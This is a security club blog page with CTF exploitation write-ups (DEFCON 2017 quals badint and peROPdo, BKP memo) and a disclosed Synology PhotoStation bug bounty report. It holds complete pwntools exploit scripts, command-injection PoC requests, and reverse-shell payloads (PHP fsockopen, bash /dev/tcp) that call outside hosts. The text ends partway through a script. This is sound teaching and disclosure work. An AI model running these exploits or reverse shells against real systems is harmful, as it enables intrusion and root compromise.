Come to join us!!!

2016-09-27
106 club course置頂

106上學期社課

9/30 第一堂社課

Kali iso

Ubuntu iso

10/14 第二堂社課

10/28 第三堂社課

11/18 第四堂社課

12/09 第五堂社課


106 下學期社課

03/03 第一堂社課

03/17 第二堂社課

04/18 第三堂社課

04/28 第四堂社課

05/05 第五堂社課

閱讀本文

2017-05-04
[DEFCON CTF 2017 Quals] badint

Info

Category: Potent Pwnables
Author: bruce30262 @ BambooFox
這題是從中間接下去做的,感謝隊友先提供 idb 與 crash input

Analyzing

64 bit ELF, Partial RELRO, 有開DEP, 沒 canary & PIE. 題目沒有提供 libc。

這是一個 C++ 程式,程式會要使用者輸入一些資料,之後會把這些資料存在 heap 上:

1
2
3
4
5
6
7
8
9
$ ./badint
SEQ #: 0
Offset: 0
Data: AAAAAAA
LSF Yes/No: Yes
RX PDU [0] [len=4]
Assembled [seq: 0]: aaaaaa0a
SEQ #:

其中我們 data 是輸入 AAAA,但是程式會將其轉成 0xaaaa

之後根據隊友 Shao-Chuan Lee 提供的 crash input 進行動態分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SEQ #: 1
Offset: 0
Data: 0000000000000000000000000000000000000000000000000000000000000
LSF Yes/No: Yes
RX PDU [1] [len=31]
Assembled [seq: 1]: 00000000000000000000000000000000000000000000000000000000000000
SEQ #: 1
Offset: 0
Data: 111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=20]
Assembled [seq: 1]: 1111111111111111111111111111111111111101
SEQ #: 1
Offset: 18
Data: 22222222222222222222222
LSF Yes/No: Yes
RX PDU [1] [len=12]
Assembled [seq: 1]: 000000000000000022222202
*** Error in `./badint': free(): invalid next size (fast): 0x000000000224a0c0 ***

看起來是因為 heap overflow 的關係導致 free() 在檢查 nextsize 時發現錯誤,直接 abort 程式。經分析後發現漏洞發生在以下程式碼:

1
2
3
4
len = get_len(cur_obj);
data = get_data(cur_obj);
offset = get_offset(cur_obj);
memcpy(new_buf + offset, data, len); // <-- 這裡

程式在複製 data 進 heap buffer 時,採用 memcpy(new_buf + offset, data, len) 這樣的形式進行複製。因為 offet 我們可控的關係,因此我們可以指定複製的起點,進而觸發 heap overflow 漏洞。

Exploit

首先來 leak address 吧。透過以下操作,我們可以 leak 出 libc 的 address:

1
2
3
4
5
6
7
8
9
$ ./badint
SEQ #: 1
Offset: 8
Data: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=144]
Assembled [seq: 1]: 788ba4952b7f000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
SEQ #:

我們將 offset 設定為 8,之後程式會將 data 複製進 heap_buf+8。其中,heap_buf 為一個被重新 allocate 的 unsortbin chunk,因此其 fdbk 均會包含 libc address ( 實際上為 main_arena+88 )。此時我們將 data 複製進 heap_buf 時,只有 bk 會被蓋掉,因此之後程式印出 assebled 的 data 時,會將 fd 的內容給 leak 出來,我們就拿到了 libc 的 address。

之後要來想辦法控制程式流程。這裡我是利用 fastbin corruption 搭配 GOT hijacking 來達到這件事。首先我們想辦法排出類似下面的 heap layout:

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ hip
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0xc26cc0 --> 0x0
(0x40) fastbin[2]: 0xc26c80 --> 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0xc26c20 --> 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0xc26f10 (size : 0x1c0f0)
last_remainder: 0xc26e00 (size : 0x50)
unsortbin: 0x0
gdb-peda$

強大的 angelheap 告訴我們在 fastbin[2] (size = 0x40) 與 fastbin[4] (size = 0x60) 各有一個 freed chunk。我們首先 allocate fastbin[4] 裡頭的 chunk,並將 data 複製進裡面,offset 設成 0x60。這麼一來,0xc26c20 + 0x60 = 0xc62c80 = chunk @ fastbin[2],我們就可以控制到 fastbin[2] 裡頭的 chunk 的 data。我們主要的目的是要將其 fd 改掉,指向 GOT :

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ got
State of the GOT table
RELRO: Partial
[1] printf@GLIBC_2.2.5 -> 0x00007ffff72c7800
[2] __gmon_start__ -> 0x0000000000400ab6
[3] puts@GLIBC_2.2.5 -> 0x0000000000400ac6
[4] _Znam@GLIBCXX_3.4 -> 0x0000000000400ad6
[5] _ZdlPv@GLIBCXX_3.4 -> 0x0000000000400ae6
[6] setvbuf@GLIBC_2.2.5 -> 0x00007ffff72e1e70
..................

我們可以看到,一個 non-PIE 的 x64 ELF 的 GOT 裡頭,有許多開頭為 0x40 的 address。如果我們將 memory layout 進行偏移:

1
2
3
4
5
6
gdb-peda$ x/30gx 0x604042
0x604042 <setvbuf@got.plt+2>: 0x0b0600007ffff72e 0x2740000000000040 <-- here
0x604052 <__libc_start_main@got.plt+2>: 0xfad000007ffff729 0x0b3600007ffff72d
0x604062 <strlen@got.plt+2>: 0x0b46000000000040 0x73c0000000000040 <-- here
0x604072 <signal@got.plt+2>: 0x0b6600007ffff72a 0xd650000000000040 <-- here
0x604082 <alarm@got.plt+2>: 0x0b8600007ffff733 0x0b96000000000040 <-- here

我們會發現到有許多地方是可以拿來當作假的 fastbin[2] chunk (size = 0x40) 來用的。因此,如果我們將 fastbin[2] 裡面的 chunk->fd 寫成 0x604042 的話:

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ hip
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x1da3cc0 --> 0x0
(0x40) fastbin[2]: 0x1da3c80 --> 0x604042 (size error (0xc740000000000040)) --> 0x9ad000007f5e059a (invaild memory)
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x1da3c20 --> 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x1da3f80 (size : 0x1c080)
last_remainder: 0x1da3e00 (size : 0x50)
unsortbin: 0x0

我們可以發現到, fastbin[2] 裡頭多出了一個假的 fastbin[2] chunk 0x604042。之後我們就可以把這個 fake chunk 拿來用,將 data 複製進這個 chunk 裡面,做 GOT hijacking。

malloc.c 裡面針對 fastbin 的檢查很殘廢。對於 malloc 一個 fastbin[2] 而言,只要其 size (unsigned int, 4 個 byte) 為 0x40 ~ 0x4f,就可以通過 malloc() 的檢查,allocate 成功。

雖然目前可以 hijack GOT 了,但是我們還不知道 libc 的版本為何。這題不好 leak address,因為我們參數幾乎都是不可控的狀態 (頂多就是可以控制 buffer 內容,但是無法控制 buffer 位址)。這邊最後想到了一個有趣的解法: 利用 format string

我們可以將 atol() hijack 成 printf(),之後程式在呼叫 atol(input)的時候,實際上就是在執行 printf(input),我們就可以透過 format string 漏洞 leak 任意位址。

另外再分享一個小技巧,就是我們在蓋 atol() 的 GOT 時,會無可避免地蓋到 fgets() 的 GOT。此時在不知道 fgets() 的 function address 的情況下,我們可以將 fgets() 的 GOT 蓋成 fgets() 被 resolve 之前的 code address:

1
2
3
4
5
6
gdb-peda$ got
State of the GOT table
RELRO: Partial
...................
[9] fgets@GLIBC_2.2.5 -> 0x0000000000400b26 <-- a fixed address

這麼一來程式之後就會重新 bind 一次 fgets() 的 address,我們就可以繼續利用 fgets() 讀 input 了。

利用 format string leak 出各個 GOT entry 之後,順利的在 libcdb.com 找到了遠端 libc 的版本。之後我們就可以將 atol() hijack 成 system(),然後輸入 “sh” 字串,呼叫 system("sh") 拿 shell。

exp_bad.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "badint_7312a689cf32f397727635e8be495322.quals.shallweplayaga.me"
PORT = 21813
ELF_PATH = "./badint"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
LIBC_PATH = "./libc-2.19_15.so"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)
def add_data(seq, off, data, lsf):
r.sendlineafter("SEQ #:", str(seq))
r.sendlineafter("Offset: ", str(off))
r.sendlineafter("Data: ", data)
r.sendlineafter("Yes/No: ", lsf)
def convert(num):
ret = ""
while num != 0:
now = num & 0xff
num >>= 8
ret = ret + '{:02x}'.format(now)
return ret.ljust(16, "0")
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
add_data(1, 8, "1"*0x90*2, 'Yes')
r.recvuntil("Assembled [seq: 1]: ")
# leak libc address
addr = 0
for i in xrange(6):
addr |= ((int(r.recv(2), 16)) << (i*8))
log.success("addr: " +hex(addr))
# libc.address = addr - 0x3c3b78 # local
libc.address = addr - 0x3be7b8 # remote
log.success("libc_base: " +hex(libc.address))
# gdb.attach(r, gdbscript=open('./ggg', 'r'))
# arrange heap
add_data(2, 0, "2"*0xb0*2, 'Yes')
add_data(2, 0, "3"*0x58*2, 'Yes')
add_data(2, 0, "4"*0x38*2, 'Yes')
# overwrite fastbin->fd ( in size 0x40 )
payload = convert(0x41)
payload += convert(0x604042)
payload += convert(0) * 6
payload += convert(0x31)
payload = payload.ljust(0x58*2, '0')
add_data(2, 0x60-0x8, payload, 'Yes')
# now fastbin (size=0x40) has fake chunk @ got
# allocate the fake chunk
# overwrite got
payload = "6"*12 # libc_start_main
payload += convert(0x400b26) # resolve fgets
payload += convert(0x400b36) # resolve strlen
payload += convert(libc.symbols['system']) # hijack atol
#payload += convert(elf.plt['printf']) # use format string to leak libc info
payload = payload.ljust(110, '0')
add_data(3, 8, payload, 'No')
# hijack atol, send "sh" to get shell
r.sendlineafter("SEQ #:", "sh")
log.success("get shell!: ")
r.interactive()
# for exploiting format string & leak libc info
"""
payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['fgets'])
r.sendlineafter("SEQ #:", payload)
r.recv(1)
print "fgets:", hex(u64(r.recv(6).ljust(8, '\x00')))
payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['puts'])
r.sendlineafter("Offset:", payload)
r.recv(1)
print "puts:", hex(u64(r.recv(6).ljust(8, '\x00')))
"""

flag: All ints are not the same... A239... Some can be bad ints!

閱讀本文

2017-05-03
[DEFCON CTF 2017 Quals] peROPdo

Info

Category: Potent Pwnables
Author: bruce30262 @ BambooFox

Analyzing

32 bit ELF, static linked & stripped, 有開 DEP 保護

程式是個簡單的骰子程式,輸入完名字後程式會問你要骰幾個骰子,輸入一個正整數後,程式會隨機產生資料,存在 data[i] 裡面。之後程式會輸出 data[i] % 6 + 1,代表這一輪我們骰的數字。

這題有兩個漏洞:

  1. 輸入名字時是用 scanf("%s", name); 的方式讀取,造成 name buffer 有 overflow 的情形 (name位於 data 段)
  2. 程式存資料 data[i] 是存在 stack 上,因此如果我們骰太多骰子的話,會造成 data[i] 的資料覆蓋到 return address ( stack overflow )。

Exploit

一開始本來打算利用第二個漏洞 ( stack overflow ) 來做 exploit,不過因為 data[i] 的資料是隨機化的結果,我們沒辦法隨心所欲的控制 return address 的內容。

這邊在解題時犯了一個錯誤: 誤認為程式所用的隨機化函式是自行 implement 的函式。因為 binary 被 stripped 掉的關係,加上是 static linked 的 binary,因此當時無法判斷哪些是自行 implement 的 function,哪些是 libc 內部的 function。也因為這樣,在這題浪費了大量的時間在搞 symbolic execution tool,想說可以利用這些工具來幫助我們解出想要的 return address。結果 angr 不會用,Tritonmanticore 則是連跑都跑不起來,一整個慘……

後來就想說換個方向,試試看第一個漏洞 ( name 的 buffer overflow )。結果發現到說可以控到 EIP,似乎是因為在 name buffer 的後面存有一些 FILE* pointer,導致我們可以透過偽造FILE結構來達到 hijack control flow 的效果。

於是透過一些動態分析,我們發現說我們可以透過一個 call [reg+offset] 的 gadget 來控制 EIP,且第二個參數會是 stdout。於是我先將程式跳至 main function 的中間:

1
2
3
4
5
6
7
8
mov dword ptr [esp+4], offset name
mov dword ptr [esp], (offset aSSSS+8) ; "%s" <--- 跳到這裡
call scanf
mov eax, ds:name
mov [esp], eax
call sub_0804baf0
mov dword ptr [esp], offset name
call do_main

會這樣跳是因為接下來程式會將 %s 放到第一個參數,並且呼叫 scanf(),讓程式執行 scanf("%s", stdout),我們就可以完整的控制 stdout 的內容,之後就可以做更進一步的 ROP attack

以下是我最後的 ROP chain:

  • 先用 xchg esp, eax 將 stack migrate 至 stdout (此時 stdout 內容可控)
  • 利用 add esp, offset gadget 跳過 stdout 結構 ( 必須跳過一些我們偽造的 data )
  • 利用 gadgets 作出 open/read/write 的 syscall,將 flag 吐出來 ( 這題有擋 execve() )

Final exploit:

exp_peropdo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "peropdo_bb53b90b35dba86353af36d3c6862621.quals.shallweplayaga.me"
PORT = 80
ELF_PATH = "./peropdo"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
#gdb.attach(r, gdbscript=open("./ggg", "r"))
func = 0x0806d7aa # avoid crash
scanf = 0x08048b2a
name = p32(scanf) + p32(func) + "\x42"*972 + p32(0x80ecdf4) + '\x00'*92 + p32(0x80ecdf8)
r.sendlineafter("name?", name)
# Later the program will call scanf("%s", stdout);
# now we can overwrite the whole stdout FILE structure
stream = p32(0x08079824) # second gadget: add esp, 0x84....
stream += "/home/peropdo/flag\x00" # flag path
stream = stream.ljust(0x1c, '\0')
stream += p32(0x804b45c) # eip, first gadget: xchg esp, eax ; ret
stream = stream.ljust(0x48, '\0')
stream += p32(0x080ED3E8) # pointer to null
stream = stream.ljust(0x90, '\0')
stream += p32(0x807982b) # third gadget: pop; ret
stream += p32(0x80eb2a0) # fake jump table
# 0x08074f2e : mov eax, 5 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# 0x08079465 : mov ebx, eax ; mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebx = 0x806f322 # pop ebx;ret
pop_eax = 0x80e3525 # pop eax;ret
pop_ecx = 0x080e5ee1 # pop ecx ; ret
pop_edx = 0x0806f2fa # pop edx ; ret
int80 = 0x806fae0 # int 0x80 ; ret
buf = 0x80ed000-0x100
rop = flat(
pop_ecx,
0,
pop_edx,
0,
0x08074f2e, # mov eax = 5 (open), pop ebx...
0x80eb2a4, # ptr to flag path
[0,0,0],
int80,
pop_eax,
3, # read
pop_ebx,
3, #fd
pop_ecx,
buf,
pop_edx,
0x100,
int80,
pop_ebx,
1, # fd,
pop_eax,
4, # write
int80
)
r.sendline(stream + rop)
r.interactive()

flag: Thanks to Kenshoto for the inspiration! 5fbb34920c457b2e0855a174b8de3ebc

Note

這題解到一半時,隊友 Isaac 提醒說 IDA 有個東西叫 FLIRT,可以透過一些 signature database 來辨別 libc 的 function,讓我們在做 reversing 時可以輕鬆一點。直到那時我才知道,程式裡面的隨機化函式其實就只是 libc 裡面的 srand()random()……所以其實可以直接用暴力法把我們要跳的 return address 給爆出來……不過當時用 file stream pointer overflow 解到一半了,就沒有用這種方式解,要不然應該會快上許多。就當作是長經驗吧 Q_Q

閱讀本文

2017-03-20
[Synology Bug Bounty 2016]

Synology Bug Bounty Report

Author: BambooFox Team
( Henry, jpeanut, ding, leepupu, Angelboy, boik, adr, Mango King, Bletchley )

Last year ( 2016 ) , we BambooFox were invited to join the Synology Bug Bounty program. After about 2 months of hacking, we discovered several vulnerabilities, including a remote root code execution vulnerability. Synology engineers response and fix the vulnerabilities in a very short time, which shows they pay a lot of attention to security issues.

And now ( in 2017 ) , we are allowed to publish the vulnerabilities:

Vul-01: PhotoStation Login without password


We mostly focus on PhotoStation, which is the picture management system enabled in most Synology DSM ( DiskStation Manager ).

The first vulnerability allowed us to login as admin without entering the password.

PoC1:

1
2
3
4
5
6
7
8
9
GET //photo/login.php?usr=admin&sid=xxx&SynoToken=/bin/true HTTP/1.1
Host: bamboofox.hopto.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: |
Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show
Connection: close

The key points are the | character in the X-Forwarded-For field and /bin/true in the get parameter SynoToken. The server site CGI will concatenate the strings in usr, X-Forwarded-For and SynoToken into a command and execute the command, and the special characters | and > aren’t filtered out correctly, which will lead to the command injection vulnerability.

Therefore in our PoC1, the command will become:

1
/usr/syno/bin/synophoto_dsm_user username | /bin/true

The command will return 0 (True) and thus bypass the authentication.

Result:
Adversary can login as admin without password

Login without password

Adversary can also login as admin by the following PoC:

1
2
GET /photo/photo_login.php
action=login&username=admin&password=%26

The source code that handle the user authentication are in photo_login.php:

1
$retval = csSYNOPhotoMisc::ExecCmd('/usr/syno/bin/synophoto_dsm_user', array('--auth', $user, $pass), false, $result);

Once the $pass variable is &, the command will be executed in the background and always return 0 (true), thus the adversary can login as admin.

Vul-02: PhotoStation Remote Code Execution


After we successfully login as admin via the command injection vulnerability, we extended the attack surface to attempt remote code execution.

PoC2:
1 . Encode the command into base64 format

1
2
base64encode( $sock=fsockopen("......",8080);exec("/bin/sh -i <&3 >&3 2>&3"); )
=> JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpOw==

2 . Send the payload

1
2
3
4
5
6
7
8
9
GET //photo/login.php?usr=|&sid=php&SynoToken=eval%28base64_decode%28%22JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA%2bJjMgMj4mMyIpOw%3D%3D%22%29%29%3B HTTP/1.1
Host: bamboofox.hopto.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: -r
Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show
Connection: close

We adopted a similar approach (PoC1) in order to achieve RCE.

We then took a deep look into the source code of PhotoStation, and found the following code:

1
2
3
4
5
6
7
8
9
10
11
if ($x_forward) {
$ip = $x_forward;
}
// ...
$retval = csSYNOPhotoMisc::ExecCmd('/usr/syno/bin/synophoto_dsm_user', array('--current', $user, $session_id, $ip, $synotoken), false, $isValidUser);
if ($retval === 0) {
$login_status = true;
} else {
// login failed
}

In this code snippet, $user, $ip and $synotoken can be easily controlled by crafting the HTTP headers, and that’s the original cause of the command injection vulnerability.
Our first few attempts failed due to the site filtered out some special characters. However, we noticed that the site did not filtered out all the special characters. Here’s the code that indicated the non-filtered characters:

1
static $skipEscape = array('>', '<', '|', '&');

As a result of the code above, >, <, | and & can be used to achieve command injection.

Remote Code Execution

Vul-03: Read-Write Arbitrary Files


After we got the shell, we continued to find security flaws in the DSM. The binary program synophoto_dsm_user got our attention. This binary is a setuid program, and has a powerful copy function.
With the --copy root parameter, it will do the cp command and copy a file with the root permission. This make us have the ability to read/write an arbitrary file .

Vul-04: Privilege Escalation


With the previous Vul-02 ( RCE ) and Vul-03 ( Read-Write Arbitrary Files ), we can exploit the vulnerability and escalate our privilege to root. We first tried modify the /etc/crontab file, but failed due to the AppArmor protection. So we change our target to the file that will be invoked by crontab. Finally we found /tmp/synoschedtask, a task which will be invoked by crontab as root. We use synophoto_dsm_user to modify its file content to the following command:

1
/volume1/photo/bash -c '/volume1/photo/bash -i >& /dev/tcp/x.x.x.x/yyyyy 0>&1'

Now we can wait for our reverse shell, with the root permission.
Remote Code Execution

Also by exploiting Vul-02 and Vul-03, we’re able to login the service as admin. If the admin is logged in, we can use the following command to get the admin’s session ID:

1
usr/syno/bin/synophoto_dsm_user --copy root /usr/syno/etc/private/session/current.users /volume1/photo/current.users

Although the server side will check the admin’s IP address, but the check can be bypassed easily by forging the X-Forwarded-For header.

Login as admin give us the ability to execute command with the root permission. For example, we can execute our own command as root with the help of Task Scheduler. This result in a privilege escalation as well.

Vul-05: DoS via Blocking IP


We also found some other security flaws.
If a user sends too many requests to forget_passwd.cgi, the user will be blocked by his IP, which is retrieved from the X-Forwarded-For header.
However, X-Forwarded-For can be easily forged from the client side, therefore an attacker can block as many users as he wants by forging the X-Forwarded-For header, leading a DoS attack.
Block IP

Vul-06: Local File Inclusion


There’s a LFI (Local File Inclusion) vulnerability in download.php. The id parameter is controllable.
For example, we can use ../../../../../../var/services/homes/[username]/.gitconfig to download a user’s git config file.

Local File Inclusion

Timeline

  • 2016/07/25 Report vulnerabilities to Synology
  • 2016/09/01 Confirm that all vulnerabilities have already been fixed by Synology
  • 2017/03/13 Confirm that we’re allowed to publish the bug bounty report
  • 2017/03/20 Synology Bug Bounty Report published

Note

Some of the vulnerabilities have already been discovered by Lucas Leong from Trend Micro ( link )

閱讀本文

2017-03-01
[BOSTONKEYPARTY CTF 2017] memo 300

Info

Category: pwn
Point: 300
Solver: Naetw @ BambooFox

Analyzing

64 bits ELF, Full RELRO, 有 NX, 沒有 canary & PIE

  • 一些在這支程式會用到的 global variable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+-----------------------+
| idx | | # 之後 leave or edit or delete 會透過這個 global buffer 來存取 index
| | |
+-----------------------+
| name | | # Store user name(32 bytes)
| | |
+-----------------------+
| password | | # Store user's password
| | |
+-----------------------+
| idx0 idx1 | idx2 idx3 | # Store size of messages( 4 bytes per size of msg )
+-----------------------+
| msg0 adr | msg1 adr | # Store address of messages
| msg2 adr | msg3 adr |
+-----------------------+

這題一開始會問 user name,並存在 global buffer,接著會問要不要設定密碼,密碼長度最大 32 bytes

User name & password 設定好之後有五個選項:

Leave message:

  • 首先會問 index,之後如果 size 正確會存入上面提到的 global buffer
  • 接著會問 msg size,如果大於 32 bytes,他只會呼叫 malloc(32) 給你,但是 read 完之後不會存入 global buffer 的 list 之中。這裡有一個 overflow 的漏洞,如果我 size 輸入 100,他雖然只有 malloc(32) 但是他會 read(0, buf, size),因此後面可以利用這個洞改到其他 chunk struct
  • 如果 size 小於 32 bytes,在讀完 message 之後會存到上面提到的 list

Edit message:

  • 這邊會直接用 global buffer 上的 idx 所表示的值來決定要修改哪個 message,因此這邊只能修改最後一次留下的 message
  • read size 是利用 global buffer 上的 size list

View message:

  • 印出 message 內容
  • 之後會拿來 leak libc address

Delete message:

  • 一開始會問 index,但是並沒有做 0~4 的檢查,所以前面的 name or password 可以任意構造 address 來達到任意 free,不過這裡我不是利用這個方法。利用這個方法可參考 Angelboy 學長
  • free 完之後,global list 會清成 0,因此沒有 UAF

Change password:

  • 可以修改密碼,但是這邊我沒有用到,便不細說

Quit:

  • puts 後 return,後面會利用這邊的 return 跳到 ROP

Exploit

前面名字隨便亂取,但是密碼稍微構造一下:

1
2
0x602a40: 0x4141414141414141 0x4141414141414141
0x602a50: 0x4141414141414141 0x0000000000000030
  • 0x602a580x30 是為了後面 overwrite fastbin 的時候,讓 malloc(32) return 0x602a60 之後就可以做任意 leak 跟 任意 overwrite

接著 leave two messages,index 分別 0 and 1,size 都給 32,之後 global buffer 長這樣:

1
2
3
4
0x602a40: 0x4141414141414141 0x4141414141414141
0x602a50: 0x4141414141414141 0x0000000000000030
0x602a60: 0x0000002000000020 0x0000000000000000
0x602a70: 0x0000000000d41010 0x0000000000d41040
  • 0x602a60 的前 4 bytes 是 index0 msg size,後 4 bytes 就是 index1 msg size
  • 0x602a70 存的就是 index0 msg address,0x602a78 存的則是 index1 msg address

之後就要來 overflow,要達到任意 malloc 一塊空間,需要 overflow 一個已經 free 過的 fastbin chunk,由於 fastbin list 是 LIFO,因此先將 index1 msg free 掉,接著 free index0 msg,之後再來利用前面提到 size 超過 32 的 overflow,size 給他個 400,這樣他還是會 call malloc(32),因此我們依舊能拿到跟先前 index0 msg 同一塊 chunk

這時候我們有 overflow 可以把 index1 msg struct 改寫掉,這邊我們是改寫他的 fd 這樣之後先 malloc 一次把正常的 chunk 拿走,第二次就會拿到我們填的 fd 的位置

overflow 過的 layout:

1
2
3
4
5
6
7
0xd41000: 0x0000000000000000 0x0000000000000031 # Original index0 msg chunk
0xd41010: 0x4141414141414141 0x4141414141414141
0xd41020: 0x4141414141414141 0x4141414141414141
0xd41030: 0x0000000000000000 0x0000000000000031 # Original index1 msg chunk
0xd41040: 0x0000000000602a50 0x000000000000000a # 0x602a50 - fake chunk by password
0xd41050: 0x0000000000000000 0x0000000000000000
0xd41060: 0x0000000000000000 0x0000000000020fa1

因為 malloc 會檢查 chunk size 是不是符合同一個 fastbin 的 size,所以前面 password 裡面的 0x30 就派上用場了,如此一來第二次的 malloc 可以通過檢查讓我們可以拿到 0x602a60,接著因為這個 chunk data 的開頭是 size_list 所以稍微構造一下 input,把 size 從 32 調大,順便擺上某個 function 的 got.plt,size 是為了後面疊 ROP 的時候比較方便,got.plt 則是拿來 leak libc function,底下是 layout:

1
2
3
4
5
0x602a40: 0x4141414141414141 0x4141414141414141
0x602a50: 0x4141414141414141 0x0000000000000030
0x602a60: 0x000000f0000000f0 0x00000020000000f0
0x602a70: 0x0000000000601fb0 0x000000000000000a
0x602a80: 0x0000000000000000 0x0000000000602a60
  • 這邊把假 chunk 放在 index3 這樣可以一次利用到 0~2
  • index3 size 因為 leave 最後面的行為會把 0xf0 蓋掉改回 0x20 不過沒關係後面會進行一次 edit 會把他改寫回來

接著就可以利用 view(0),來 leak 0x601fb0 也就是 __libc_start_main 的 libc address,拿到之後,利用一次 edit 把 size 改回 0xf0 順便把 0x601fb0 換成 environ 的位置,來 leak stack address(environ 是一個在 libc 裡面的一個 symbol,他裡面存著 stack address 指到 char** envp):

1
2
3
4
5
0x602a40: 0x4141414141414141 0x4141414141414141
0x602a50: 0x4141414141414141 0x0000000000000030
0x602a60: 0x000000f0000000f0 0x000000f0000000f0
0x602a70: 0x00007fb71186af98 0x000000000000000a
0x602a80: 0x0000000000000000 0x0000000000602a60

一樣利用 view(0) 來 leak stack address,算一下跟 main 的 return address 位置的 offset,之後,再次利用 edit 不過這次是要 overwrite 0x602a88 位置,也就是 index3 message 的位置,把它改成 main return address 的位置,這樣再次 edit 就可以疊 ROP,疊完就選擇 Quit 便會跳到剛剛疊的 ROP 上,這次 ROP 很簡單,從 libc 裡面找一個 gadget pop_rdi_ret 然後 sh 字串也是從 libc 裡面找,接著直接跳到 system,成功開 shell !

改成 stack address 的 layout + ROP:

1
2
3
4
5
6
7
8
9
10
11
12
0x602a40: 0x4141414141414141 0x4141414141414141
0x602a50: 0x4141414141414141 0x0000000000000030
0x602a60: 0x000000f0000000f0 0x000000f0000000f0
0x602a70: 0x4141414141414141 0x4141414141414141
0x602a80: 0x4141414141414141 0x00007ffda8984928 # stack address
ROP:
sh = base + next(libc.search('/bin/sh\x00'))
system = base + libc.symbols['system']
pop_rdi = base + 0x0000000000021102
payload = p64(pop_rdi) + p64(sh) + p64(system)
edit(payload)

Final Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
reip = '54.202.7.144'
report = 8888
r = process('./memo-patch')
#r = remote(reip, report)
# Setup name & pw
r.recvuntil("What's user name:")
r.sendline('nae')
r.recvuntil('Do you wanna set password? (y/n)')
r.sendline('y')
r.recvuntil('Password:')
r.sendline('A'*24 + p64(0x30))
def leave(idx, length, payload, overflow=False):
r.recvuntil('>>')
r.sendline('1')
r.recvuntil('Index:')
r.sendline(str(idx))
r.recvuntil('Length:')
r.sendline(str(length))
if not overflow:
r.recvuntil('Message:')
else:
r.recvuntil('message too long, you can leave on memo though')
r.sendline(payload)
def delete(idx):
r.recvuntil('>>')
r.sendline('4')
r.recvuntil('Index:')
r.sendline(str(idx))
def view(idx):
r.recvuntil('>>')
r.sendline('3')
